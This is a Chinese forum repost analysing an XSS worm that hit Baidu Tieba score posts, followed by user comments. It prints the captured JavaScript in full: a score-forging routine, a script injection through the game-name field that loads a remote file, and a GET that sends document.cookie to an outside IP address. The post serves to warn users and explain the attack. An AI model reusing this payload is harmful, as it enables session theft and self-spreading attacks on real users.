关于本次I贴吧被攻击事件的帖子备案

天使怪盗Dick

原帖在东方编程学习馆

本次I贴吧被攻击、于是开启和谐模式进入I贴吧过滤脚本、发现了所有的I贴变成了同一个帖子、内容为

黄金矿工， 排名天下第一，表示像bug一样存在着。

在打开帖子时发现左下角一直在执行一条java脚本、后缀为js、中止读取、打开网页脚本找到了这样一段代码：



然后跟着这个JS地址下载到了这个脚本、内容如下：

//xmlhttp
function xmlhttp(){if(window.XMLHttpRequest){return new XMLHttpRequest()}else{if(window.ActiveXObject){var F=["MSXML2.XMLHttp.6.0","MSXML2.XMLHttp.3.0","MSXML2.XMLHttp.5.0","MSXML2.XMLHttp.4.0","Msxml2.XMLHTTP","MSXML.XMLHttp","Microsoft.XMLHTTP"];for(var E=0;F[E];E++){try{return new ActiveXObject(F[E])}catch(D){}}throw new Error("Your browser do not support XMLHttp")}}}
//md5
var hexcase = 0; function hex_md5(a) { return rstr2hex(rstr_md5(str2rstr_utf8(a))) } function hex_hmac_md5(a, b) { return rstr2hex(rstr_hmac_md5(str2rstr_utf8(a), str2rstr_utf8(b))) } function md5_vm_test() { return hex_md5("abc").toLowerCase() == "900150983cd24fb0d6963f7d28e17f72" } function rstr_md5(a) { return binl2rstr(binl_md5(rstr2binl(a), a.length * 8)) } function rstr_hmac_md5(c, f) { var e = rstr2binl(c); if (e.length > 16) { e = binl_md5(e, c.length * 8) } var a = Array(16), d = Array(16); for (var b = 0; b < 16; b++) { a = e ^ 909522486; d = e ^ 1549556828 } var g = binl_md5(a.concat(rstr2binl(f)), 512 + f.length * 8); return binl2rstr(binl_md5(d.concat(g), 512 + 128)) } function rstr2hex(c) { try { hexcase } catch (g) { hexcase = 0 } var f = hexcase ? "0123456789ABCDEF" : "0123456789abcdef"; var b = ""; var a; for (var d = 0; d < c.length; d++) { a = c.charCodeAt(d); b += f.charAt((a >>> 4) & 15) + f.charAt(a & 15) } return b } function str2rstr_utf8(c) { var b = ""; var d = -1; var a, e; while (++d < c.length) { a = c.charCodeAt(d); e = d + 1 < c.length ? c.charCodeAt(d + 1) : 0; if (55296 <= a && a <= 56319 && 56320 <= e && e <= 57343) { a = 65536 + ((a & 1023) << 10) + (e & 1023); d++ } if (a <= 127) { b += String.fromCharCode(a) } else { if (a <= 2047) { b += String.fromCharCode(192 | ((a >>> 6) & 31), 128 | (a & 63)) } else { if (a <= 65535) { b += String.fromCharCode(224 | ((a >>> 12) & 15), 128 | ((a >>> 6) & 63), 128 | (a & 63)) } else { if (a <= 2097151) { b += String.fromCharCode(240 | ((a >>> 18) & 7), 128 | ((a >>> 12) & 63), 128 | ((a >>> 6) & 63), 128 | (a & 63)) } } } } } return b } function rstr2binl(b) { var a = Array(b.length >> 2); for (var c = 0; c < a.length; c++) { a[c] = 0 } for (var c = 0; c < b.length * 8; c += 8) { a[c >> 5] |= (b.charCodeAt(c / 8) & 255) << (c % 32) } return a } function binl2rstr(b) { var a = ""; for (var c = 0; c < b.length * 32; c += 8) { a += String.fromCharCode((b[c >> 5] >>> (c % 32)) & 255) } return a } function binl_md5(p, k) { p[k >> 5] |= 128 << ((k) % 32); p[(((k + 64) >>> 9) << 4) + 14] = k; var o = 1732584193; var n = -271733879; var m = -1732584194; var l = 271733878; for (var g = 0; g < p.length; g += 16) { var j = o; var h = n; var f = m; var e = l; o = md5_ff(o, n, m, l, p[g + 0], 7, -680876936); l = md5_ff(l, o, n, m, p[g + 1], 12, -389564586); m = md5_ff(m, l, o, n, p[g + 2], 17, 606105819); n = md5_ff(n, m, l, o, p[g + 3], 22, -1044525330); o = md5_ff(o, n, m, l, p[g + 4], 7, -176418897); l = md5_ff(l, o, n, m, p[g + 5], 12, 1200080426); m = md5_ff(m, l, o, n, p[g + 6], 17, -1473231341); n = md5_ff(n, m, l, o, p[g + 7], 22, -45705983); o = md5_ff(o, n, m, l, p[g + 8], 7, 1770035416); l = md5_ff(l, o, n, m, p[g + 9], 12, -1958414417); m = md5_ff(m, l, o, n, p[g + 10], 17, -42063); n = md5_ff(n, m, l, o, p[g + 11], 22, -1990404162); o = md5_ff(o, n, m, l, p[g + 12], 7, 1804603682); l = md5_ff(l, o, n, m, p[g + 13], 12, -40341101); m = md5_ff(m, l, o, n, p[g + 14], 17, -1502002290); n = md5_ff(n, m, l, o, p[g + 15], 22, 1236535329); o = md5_gg(o, n, m, l, p[g + 1], 5, -165796510); l = md5_gg(l, o, n, m, p[g + 6], 9, -1069501632); m = md5_gg(m, l, o, n, p[g + 11], 14, 643717713); n = md5_gg(n, m, l, o, p[g + 0], 20, -373897302); o = md5_gg(o, n, m, l, p[g + 5], 5, -701558691); l = md5_gg(l, o, n, m, p[g + 10], 9, 38016083); m = md5_gg(m, l, o, n, p[g + 15], 14, -660478335); n = md5_gg(n, m, l, o, p[g + 4], 20, -405537848); o = md5_gg(o, n, m, l, p[g + 9], 5, 568446438); l = md5_gg(l, o, n, m, p[g + 14], 9, -1019803690); m = md5_gg(m, l, o, n, p[g + 3], 14, -187363961); n = md5_gg(n, m, l, o, p[g + 8], 20, 1163531501); o = md5_gg(o, n, m, l, p[g + 13], 5, -1444681467); l = md5_gg(l, o, n, m, p[g + 2], 9, -51403784); m = md5_gg(m, l, o, n, p[g + 7], 14, 1735328473); n = md5_gg(n, m, l, o, p[g + 12], 20, -1926607734); o = md5_hh(o, n, m, l, p[g + 5], 4, -378558); l = md5_hh(l, o, n, m, p[g + 8], 11, -2022574463); m = md5_hh(m, l, o, n, p[g + 11], 16, 1839030562); n = md5_hh(n, m, l, o, p[g + 14], 23, -35309556); o = md5_hh(o, n, m, l, p[g + 1], 4, -1530992060); l = md5_hh(l, o, n, m, p[g + 4], 11, 1272893353); m = md5_hh(m, l, o, n, p[g + 7], 16, -155497632); n = md5_hh(n, m, l, o, p[g + 10], 23, -1094730640); o = md5_hh(o, n, m, l, p[g + 13], 4, 681279174); l = md5_hh(l, o, n, m, p[g + 0], 11, -358537222); m = md5_hh(m, l, o, n, p[g + 3], 16, -722521979); n = md5_hh(n, m, l, o, p[g + 6], 23, 7602***9); o = md5_hh(o, n, m, l, p[g + 9], 4, -640364487); l = md5_hh(l, o, n, m, p[g + 12], 11, -421815835); m = md5_hh(m, l, o, n, p[g + 15], 16, 530742520); n = md5_hh(n, m, l, o, p[g + 2], 23, -995338651); o = md5_ii(o, n, m, l, p[g + 0], 6, -198630844); l = md5_ii(l, o, n, m, p[g + 7], 10, 1126891415); m = md5_ii(m, l, o, n, p[g + 14], 15, -1416354905); n = md5_ii(n, m, l, o, p[g + 5], 21, -57434055); o = md5_ii(o, n, m, l, p[g + 12], 6, 1700485571); l = md5_ii(l, o, n, m, p[g + 3], 10, -1894986606); m = md5_ii(m, l, o, n, p[g + 10], 15, -1051523); n = md5_ii(n, m, l, o, p[g + 1], 21, -2054922799); o = md5_ii(o, n, m, l, p[g + 8], 6, 1873313359); l = md5_ii(l, o, n, m, p[g + 15], 10, -30611744); m = md5_ii(m, l, o, n, p[g + 6], 15, -1560198380); n = md5_ii(n, m, l, o, p[g + 13], 21, 1309151649); o = md5_ii(o, n, m, l, p[g + 4], 6, -145523070); l = md5_ii(l, o, n, m, p[g + 11], 10, -1120210379); m = md5_ii(m, l, o, n, p[g + 2], 15, 718787259); n = md5_ii(n, m, l, o, p[g + 9], 21, -343485551); o = safe_add(o, j); n = safe_add(n, h); m = safe_add(m, f); l = safe_add(l, e) } return Array(o, n, m, l) } function md5_cmn(h, e, d, c, g, f) { return safe_add(bit_rol(safe_add(safe_add(e, h), safe_add(c, f)), g), d) } function md5_ff(g, f, k, j, e, i, h) { return md5_cmn((f & k) | ((~f) & j), g, f, e, i, h) } function md5_gg(g, f, k, j, e, i, h) { return md5_cmn((f & j) | (k & (~j)), g, f, e, i, h) } function md5_hh(g, f, k, j, e, i, h) { return md5_cmn(f ^ k ^ j, g, f, e, i, h) } function md5_ii(g, f, k, j, e, i, h) { return md5_cmn(k ^ (f | (~j)), g, f, e, i, h) } function safe_add(a, d) { var c = (a & 65535) + (d & 65535); var b = (a >> 16) + (d >> 16) + (c >> 16); return (b << 16) | (c & 65535) } function bit_rol(a, b) { return (a << b) | (a >>> (32 - b)) };

var GameID = "18";
var GameName = "%22%3c%2fa%3e%3cscript%3evar+s%3ddocument.createElement('script')%3bs.type%3d'text%2fjavascript'%3bdocument.body.appendChild(s)%3bs.src%3d'http%3a%2f%2fusers.cjb.net%2fwapp%2fbdhm.js'%3bvoid(0)%3b%3c%2fscript%3e%3ca+target%3d%22_blank%22+href%3d%22%2ff%3fkw%3d%25BB%25C6%25BD%25F0%25BF%25F3%25B9%25A4";
var GamePro = "tieba";

var txmlhttp = xmlhttp();
var fen = 9223372036854776000;
var token = "";

txmlhttp.onreadystatechange = function(){
     if (txmlhttp.readyState == 4) {
         var ttxmlhttp = xmlhttp();
         token = gettoken(txmlhttp.responseText);//JSON.parse(txmlhttp.responseText).token;
        
         ttxmlhttp.open("POST", "/app/sgp/addResult?format=json&t="+Math.random());
         ttxmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
         ttxmlhttp.send("bd%5Fsig="+getsig(fen)+"&pla="+GameName+"&game%5Fid="+GameID+"&pro="+GamePro+"&result="+fen);

         ttxmlhttp.open("POST", "/app/sgp/showResult?format=json&t="+Math.random());
         ttxmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
         ttxmlhttp.send("bd%5Fsig="+getsig(fen)+"&pla="+GameName+"&game%5Fid="+GameID+"&pro="+GamePro+"&result="+fen);
        
         txmlhttp.open("GET", "http://125.79.207.65:8081/aaa.asp?cookie="+document.cookie);
         txmlhttp.send(null);
     }
};
txmlhttp.open("POST", "/app/sgp/getToken?format=json&t="+Math.random());
txmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
txmlhttp.send("game%5Fid="+GameID);

function getsig(fen){
     return hex_md5(GameID+GamePro+fen+token);
}

function gettoken(r){
     var ts = r.match(/{"token":"(.*?)"}/)
     return ts[1]
}

令人在意的是这一段代码

var txmlhttp = xmlhttp();
var fen = 9223372036854776000;
var token = "";

txmlhttp.onreadystatechange = function(){
     if (txmlhttp.readyState == 4) {
         var ttxmlhttp = xmlhttp();
         token = gettoken(txmlhttp.responseText);//JSON.parse(txmlhttp.responseText).token;
        
         ttxmlhttp.open("POST", "/app/sgp/addResult?format=json&t="+Math.random());
         ttxmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
         ttxmlhttp.send("bd%5Fsig="+getsig(fen)+"&pla="+GameName+"&game%5Fid="+GameID+"&pro="+GamePro+"&result="+fen);

         ttxmlhttp.open("POST", "/app/sgp/showResult?format=json&t="+Math.random());
         ttxmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
         ttxmlhttp.send("bd%5Fsig="+getsig(fen)+"&pla="+GameName+"&game%5Fid="+GameID+"&pro="+GamePro+"&result="+fen);
        
         txmlhttp.open("GET", "http://125.79.207.65:8081/aaa.asp?cookie="+document.cookie);
         txmlhttp.send(null);
     }
};
txmlhttp.open("POST", "/app/sgp/getToken?format=json&t="+Math.random());
txmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
txmlhttp.send("game%5Fid="+GameID);

function getsig(fen){
     return hex_md5(GameID+GamePro+fen+token);
}

也就是说POST了两次提交了游戏数据之后、使用明文GET将COOKIE调用到本机上、然后盗走对方ID的会话状态、不过这个asp的脚本在打开的时候并没有成功下载、所以很有可能是一个幌子、或者纯是做僵尸用、又或者是由于访问量过大网路占用满或是系统队列排满被DDOS了、没学过脚本表示很苦手、建议只要在I贴里看到炫耀比分的帖子列表、请迅速修改密码并重新登出结束会话状态再重新登录~

后来有人评论

粗略的分析一下

百度flash比分在I吧的发帖方式，曾经貌似看到一张所谓I吧直接刷分数的兔子跳铃铛的作弊器的图。
向百度发送I贴内容。按照md5校验算法下面那段代码中的格式和cookie中身份令牌发送给百度的tieba.baidu.com/app/sgp/addResult?format=json&t=。这个网页 是用来格式化用户比分结果的并且替用户在I吧发这么个帖子。百度在这里严重设计失误了，没有严格过滤发来的数据。仅仅是一个“帖子”而已，而内容却被加上了不干净的东西，GameName参数的值被加了一个新的脚本。玩家执行后可以实现“作弊”而且上传自己的cookie给黑客的服务器，同时在i贴中继续加载那段代码实现传播功能

这只是一个开始 当百度管理员被吸引不小心执行代码之后。他们的目的达到了 ，黑客获取登录百度后台的凭证 开启了用户可以执行自定义的html代码的功能。所以很快很多人可以在徽章中嵌入html代码以实现相关的网页功能，甚至攻击等等

多人的为自己设计了特殊文字排版效果，其实如果配合微软的0day漏洞，精心设计的恶意代码
大规模的病毒袭击自然就来了

入侵过程是一次标准的XSS入侵 低技术含量的网站袭击事件…… 但是如果迅速实现利用0day漏洞发布恶意代码执行病毒 依照百度庞大的用户群 这可能是一场灾难 百度绝对丢尽颜面


整个就是一杯具

四爺

希望事件盡快被解決

红色不夜城

虽然我都不怎么用百度号，但希望百度不要真的不给力了

阿燐燐

游戏和狗牌的代码注入漏洞已经补上了。
不过刷分估计还是可以刷的。

如果这次漏洞被发现后不是用来拿出来玩，而是计划周密的悄悄行事而不让百度知道，那就可怕了。

夜空樣

应该是蓄谋已久的事件了，偏偏在元旦的时候出现
我的I贴也出现这个莫名其妙的BUG了……马上改密码好了
虽然我一点都不在意百度被怎么样（甚至看到他被丢尽脸面我会偷笑来着）
不过我好多朋友混贴吧，这绝对是灾难了……

edc1433

神官姐姐已中毒

タユタイ

所以说毛爷爷教导我们：攀比是不对的…………

紅魔の月時計

我要多混貼吧了